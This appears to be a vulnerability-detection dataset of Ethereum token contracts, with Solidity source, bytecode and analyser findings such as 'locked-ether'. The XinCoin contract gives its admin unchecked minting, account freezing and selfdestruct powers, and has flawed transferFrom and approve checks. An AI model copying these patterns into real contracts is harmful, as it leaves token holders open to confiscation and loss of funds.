_from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Function to revert eth transfers to this contract */ function() public payable { revert(); } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return BasicToken(tokenAddress).transfer(owner, tokens); } /** * @dev Transfer the specified amounts of tokens to the specified addresses. * @dev Be aware that there is no check for duplicate recipients. * * @param _toAddresses Receiver addresses. * @param _amounts Amounts of tokens that will be transferred. */ function multiSend(address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } /** * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender. * @dev Be aware that there is no check for duplicate recipients. * * @param _from The address of the sender * @param _toAddresses The addresses of the recipients (MAX 255) * @param _amounts The amounts of tokens to be transferred */ function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract AncestorHellNotes is StandardToken, BurnableToken { string public constant name = "Ancestor Hell Notes"; string public constant symbol = "AHN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 30000000000 * (10 ** uint256(decimals)); function AncestorHellNotes() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a57806342966c681461023357806370a082311461024b5780638da5cb5b1461026a57806395d89b4114610299578063a7ff2373146102ac578063a9059cbb14610349578063bb4c9f0b1461036b578063dc39d06d146103fa578063dd62ed3e1461041c578063f2fde38b14610441575b600080fd5b34156100f557600080fd5b6100fd610460565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a0360043516602435610497565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd610503565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610509565b341561020257600080fd5b6101bd61068b565b341561021557600080fd5b61021d61069b565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6102496004356106a0565b005b341561025657600080fd5b6101bd600160a060020a03600435166107b5565b341561027557600080fd5b61027d6107d0565b604051600160a060020a03909116815260200160405180910390f35b34156102a457600080fd5b6100fd6107df565b34156102b757600080fd5b61024960048035600160a060020a03169060446024803590810190830135806020808202016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061081695505050505050565b341561035457600080fd5b610196600160a060020a036004351660243561088f565b341561037657600080fd5b61024960046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061098a95505050505050565b341561040557600080fd5b610196600160a060020a0360043516602435610a01565b341561042757600080fd5b6101bd600160a060020a0360043581169060243516610abd565b341561044c57600080fd5b610249600160a060020a0360043516610ae8565b60408051908101604052601381527f416e636573746f722048656c6c204e6f74657300000000000000000000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60025490565b6000600160a060020a038316151561052057600080fd5b600160a060020a03841660009081526001602052604090205482111561054557600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561057857600080fd5b600160a060020a0384166000908152600160205260409020546105a1908363ffffffff610b8316565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105d6908363ffffffff610b9516565b600160a060020a0380851660009081526001602090815260408083209490945587831682526003815283822033909316825291909152205461061e908363ffffffff610b8316565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b60ef6b1aba6f07233000000081565b601281565b6000805433600160a060020a039081169116146106bc57600080fd5b600160a060020a0333166000908152600160205260409020548211156106e157600080fd5b5033600160a060020a0381166000908152600160205260409020546107069083610b83565b600160a060020a038216600090815260016020526040902055600254610732908363ffffffff610b8316565b600255600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35050565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a031681565b60408051908101604052600381527f41484e0000000000000000000000000000000000000000000000000000000000602082015281565b600060ff8351111561082757600080fd5b815183511461083557600080fd5b5060005b82518160ff1610156108895761088084848360ff168151811061085857fe5b90602001906020020151848460ff168151811061087157fe5b90602001906020020151610509565b50600101610839565b50505050565b6000600160a060020a03831615156108a657600080fd5b600160a060020a0333166000908152600160205260409020548211156108cb57600080fd5b600160a060020a0333166000908152600160205260409020546108f4908363ffffffff610b8316565b600160a060020a033381166000908152600160205260408082209390935590851681522054610929908363ffffffff610b9516565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600060ff8351111561099b57600080fd5b81518351146109a957600080fd5b5060005b82518160ff1610156109fc576109f3838260ff16815181106109cb57fe5b90602001906020020151838360ff16815181106109e457fe5b9060200190602002015161088f565b506001016109ad565b505050565b6000805433600160a060020a03908116911614610a1d57600080fd5b60008054600160a060020a038086169263a9059cbb92909116908590604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a9c57600080fd5b6102c65a03f11515610aad57600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610b0357600080fd5b600160a060020a0381161515610b1857600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b8f57fe5b50900390565b600082820183811015610ba457fe5b93925050505600a165627a7a7230582076e71ab38bff457817e63b547fd6a16c7ad0157bd0ef546c49f09c98efa7a26b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
401
0x2575315c95d8e84736b11cb66cd2630380dd8f59
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract XinCoin is StandardToken { address public admin; string public name = "XinCoin"; string public symbol = "XC"; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 100000000000000000; mapping (address => bool) public frozenAccount; //无限期冻结的账户 mapping (address => uint256) public frozenTimestamp; // 有限期冻结的账户 event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { totalSupply_ = INITIAL_SUPPLY; admin = msg.sender; balances[msg.sender] = INITIAL_SUPPLY; } function() public payable { require(msg.value > 0); } function changeAdmin( address _newAdmin ) public returns (bool) { require(msg.sender == admin); require(_newAdmin != address(0)); balances[_newAdmin] = balances[_newAdmin].add(balances[admin]); balances[admin] = 0; admin = _newAdmin; return true; } function generateToken( address _target, uint256 _amount ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); balances[_target] = balances[_target].add(_amount); totalSupply_ = totalSupply_.add(_amount); INITIAL_SUPPLY = totalSupply_; return true; } function withdraw ( uint256 _amount ) public returns (bool) { require(msg.sender == admin); msg.sender.transfer(_amount); return true; } function freeze( address _target, bool _freeze ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenAccount[_target] = _freeze; return true; } function freezeWithTimestamp( address _target, uint256 _timestamp ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenTimestamp[_target] = _timestamp; return true; } function multiFreeze( address[] _targets, bool[] _freezes ) public returns (bool) { require(msg.sender == admin); require(_targets.length == _freezes.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); bool _freeze = _freezes[i]; frozenAccount[_target] = _freeze; } return true; } function multiFreezeWithTimestamp( address[] _targets, uint256[] _timestamps ) public returns (bool) { require(msg.sender == admin); require(_targets.length == _timestamps.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); uint256 _timestamp = _timestamps[i]; frozenTimestamp[_target] = _timestamp; } return true; } function multiTransfer( address[] _tos, uint256[] _values ) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_tos.length == _values.length); uint256 len = _tos.length; require(len > 0); uint256 amount = 0; for (uint256 i = 0; i < len; i = i.add(1)) { amount = amount.add(_values[i]); } require(amount <= balances[msg.sender]); for (uint256 j = 0; j < len; j = j.add(1)) { address _to = _tos[j]; require(_to != address(0)); balances[_to] = balances[_to].add(_values[j]); balances[msg.sender] = balances[msg.sender].sub(_values[j]); emit Transfer(msg.sender, _to, _values[j]); } return true; } function transfer( address _to, uint256 _value ) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(!frozenAccount[_from]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve( address _spender, uint256 _value ) public returns (bool) { require(_value <= balances[_spender]); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply_ = totalSupply_.sub(_value); INITIAL_SUPPLY = totalSupply_; emit Burn(msg.sender, _value); return true; } function getFrozenTimestamp( address _target ) public view returns (uint256) { require(_target != address(0)); return frozenTimestamp[_target]; } function getFrozenAccount( address _target ) public view returns (bool) { require(_target != address(0)); return frozenAccount[_target]; } function getBalance(address _owner) public view returns (uint256) { return balances[_owner]; } function setName ( string _value ) public returns (bool) { require(msg.sender == admin); name = _value; return true; } function setSymbol ( string _value ) public returns (bool) { require(msg.sender == admin); symbol = _value; return true; } function kill() public { require(msg.sender == admin); selfdestruct(admin); } }
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461018e578063095ea7b31461021857806318160ddd14610250578063188b5372146102775780631e89d5451461029b57806323b872dd146103295780632e1a7d4d146103535780632ff2e9dc1461036b578063313ce5671461038057806341c0e1b5146103ab57806342966c68146103c057806366188463146103d857806370a08231146103fc5780638f2839701461041d57806395d89b411461043e578063a9059cbb14610453578063b414d4b614610477578063b84c824614610498578063bf120ae5146104f1578063c47f002714610517578063c497780714610570578063c878dad914610591578063c8d90df81461061f578063d70907b014610640578063d73dd62314610664578063d950c43214610688578063dd62ed3e14610716578063e6ad5bc71461073d578063f851a4401461075e578063f8b2cb4f146103fc575b6000341161018c57600080fd5b005b34801561019a57600080fd5b506101a361078f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b5061023c600160a060020a036004351660243561081d565b604080519115158252519081900360200190f35b34801561025c57600080fd5b506102656108a9565b60408051918252519081900360200190f35b34801561028357600080fd5b5061023c600160a060020a03600435166024356108b0565b3480156102a757600080fd5b506040805160206004803580820135838102808601850190965280855261023c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506109469650505050505050565b34801561033557600080fd5b5061023c600160a060020a0360043581169060243516604435610b79565b34801561035f57600080fd5b5061023c600435610d2f565b34801561037757600080fd5b50610265610d7f565b34801561038c57600080fd5b50610395610d85565b6040805160ff9092168252519081900360200190f35b3480156103b757600080fd5b5061018c610d8e565b3480156103cc57600080fd5b5061023c600435610db3565b3480156103e457600080fd5b5061023c600160a060020a0360043516602435610e58565b34801561040857600080fd5b50610265600160a060020a0360043516610f47565b34801561042957600080fd5b5061023c600160a060020a0360043516610f62565b34801561044a57600080fd5b506101a3611017565b34801561045f57600080fd5b5061023c600160a060020a0360043516602435611072565b34801561048357600080fd5b5061023c600160a060020a0360043516611189565b3480156104a457600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261023c94369492936024939284019190819084018382808284375094975061119e9650505050505050565b3480156104fd57600080fd5b5061023c600160a060020a036004351660243515156111cb565b34801561052357600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261023c9436949293602493928401919081908401838280828437509497506112299650505050505050565b34801561057c57600080fd5b5061023c600160a060020a0360043516611256565b34801561059d57600080fd5b506040805160206004803580820135838102808601850190965280855261023c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061128c9650505050505050565b34801561062b57600080fd5b50610265600160a060020a0360043516611369565b34801561064c57600080fd5b5061023c600160a060020a036004351660243561137b565b34801561067057600080fd5b5061023c600160a060020a03600435166024356113cb565b34801561069457600080fd5b506040805160206004803580820135838102808601850190965280855261023c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506114649650505050505050565b34801561072257600080fd5b50610265600160a060020a0360043581169060243516611530565b34801561074957600080fd5b50610265600160a060020a036004351661155b565b34801561076a57600080fd5b5061077361158e565b60408051600160a060020a039092168252519081900360200190f35b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108155780601f106107ea57610100808354040283529160200191610815565b820191906000526020600020905b8154815290600101906020018083116107f857829003601f168201915b505050505081565b600160a060020a03821660009081526020819052604081205482111561084257600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6001545b90565b600354600090600160a060020a031633146108ca57600080fd5b600160a060020a03831615156108df57600080fd5b600160a060020a038316600090815260208190526040902054610908908363ffffffff61159d16565b600160a060020a038416600090815260208190526040902055600154610934908363ffffffff61159d16565b60018181556007919091559392505050565b336000908152600860205260408120548190819081908190819060ff161561096d57600080fd5b33600090815260096020526040902054421161098857600080fd5b865188511461099657600080fd5b87519450600085116109a757600080fd5b60009350600092505b848310156109fa576109e087848151811015156109c957fe5b60209081029091010151859063ffffffff61159d16565b93506109f383600163ffffffff61159d16565b92506109b0565b33600090815260208190526040902054841115610a1657600080fd5b600091505b84821015610b6b578782815181101515610a3157fe5b602090810290910101519050600160a060020a0381161515610a5257600080fd5b610a938783815181101515610a6357fe5b6020908102909101810151600160a060020a0384166000908152918290526040909120549063ffffffff61159d16565b600160a060020a0382166000908152602081905260409020558651610ae590889084908110610abe57fe5b6020908102909101810151336000908152918290526040909120549063ffffffff6115b016565b336000818152602081905260409020919091558751600160a060020a03831691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908a9086908110610b3457fe5b906020019060200201516040518082815260200191505060405180910390a3610b6482600163ffffffff61159d16565b9150610a1b565b506001979650505050505050565b600160a060020a03831660009081526008602052604081205460ff1615610b9f57600080fd5b336000908152600960205260409020544211610bba57600080fd5b600160a060020a0383161515610bcf57600080fd5b600160a060020a038416600090815260208190526040902054821115610bf457600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610c2457600080fd5b600160a060020a038416600090815260208190526040902054610c4d908363ffffffff6115b016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c82908363ffffffff61159d16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610cc4908363ffffffff6115b016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a03163314610d4957600080fd5b604051339083156108fc029084906000818181858888f19350505050158015610d76573d6000803e3d6000fd5b50600192915050565b60075481565b60065460ff1681565b600354600160a060020a03163314610da557600080fd5b600354600160a060020a0316ff5b33600090815260208190526040812054821115610dcf57600080fd5b33600090815260208190526040902054610def908363ffffffff6115b016565b33600090815260208190526040902055600154610e12908363ffffffff6115b016565b600181905560075560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610eac57336000908152600260209081526040808320600160a060020a0388168452909152812055610ee1565b610ebc818463ffffffff6115b016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a03163314610f7c57600080fd5b600160a060020a0382161515610f9157600080fd5b600354600160a060020a03908116600090815260208190526040808220549285168252902054610fc69163ffffffff61159d16565b600160a060020a039283166000818152602081905260408082209390935560038054909516815291822091909155825473ffffffffffffffffffffffffffffffffffffffff19161790915550600190565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108155780601f106107ea57610100808354040283529160200191610815565b3360009081526008602052604081205460ff161561108f57600080fd5b3360009081526009602052604090205442116110aa57600080fd5b600160a060020a03831615156110bf57600080fd5b336000908152602081905260409020548211156110db57600080fd5b336000908152602081905260409020546110fb908363ffffffff6115b016565b3360009081526020819052604080822092909255600160a060020a0385168152205461112d908363ffffffff61159d16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60086020526000908152604090205460ff1681565b600354600090600160a060020a031633146111b857600080fd5b8151610d769060059060208501906115c2565b600354600090600160a060020a031633146111e557600080fd5b600160a060020a03831615156111fa57600080fd5b50600160a060020a0382166000908152600860205260409020805482151560ff19909116179055600192915050565b600354600090600160a060020a0316331461124357600080fd5b8151610d769060049060208501906115c2565b6000600160a060020a038216151561126d57600080fd5b50600160a060020a031660009081526008602052604090205460ff1690565b6003546000908190819081908190600160a060020a031633146112ae57600080fd5b85518751146112bc57600080fd5b86519350600084116112cd57600080fd5b600092505b8383101561135c5786838151811015156112e857fe5b602090810290910101519150600160a060020a038216151561130957600080fd5b858381518110151561131757fe5b602090810291909101810151600160a060020a038416600090815260089092526040909120805460ff1916821515179055905061135583600161159d565b92506112d2565b5060019695505050505050565b60096020526000908152604090205481565b600354600090600160a060020a0316331461139557600080fd5b600160a060020a03831615156113aa57600080fd5b50600160a060020a0391909116600090815260096020526040902055600190565b336000908152600260209081526040808320600160a060020a03861684529091528120546113ff908363ffffffff61159d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6003546000908190819081908190600160a060020a0316331461148657600080fd5b855187511461149457600080fd5b86519350600084116114a557600080fd5b600092505b8383101561135c5786838151811015156114c057fe5b602090810290910101519150600160a060020a03821615156114e157600080fd5b85838151811015156114ef57fe5b6020908102909101810151600160a060020a038416600090815260099092526040909120819055905061152983600163ffffffff61159d16565b92506114aa565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000600160a060020a038216151561157257600080fd5b50600160a060020a031660009081526009602052604090205490565b600354600160a060020a031681565b818101828110156115aa57fe5b92915050565b6000828211156115bc57fe5b50900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061160357805160ff1916838001178555611630565b82800160010185558215611630579182015b82811115611630578251825591602001919060010190611615565b5061163c929150611640565b5090565b6108ad91905b8082111561163c57600081556001016116465600a165627a7a723058202afaea705c48591f9e7058346855405b0b8c76cd67f4da95d4b77c3e880620a80029
{"success": true, "error": null, "results": {}}
402
0xE95f84F19710BeD43003e79d9ed2504E9410ed45
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** helper methods for interacting with ERC20 tokens that do not consistently return true/false with the addition of a transfer function to send eth or an erc20 token */ library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x095ea7b3, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED" ); } function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x23b872dd, from, 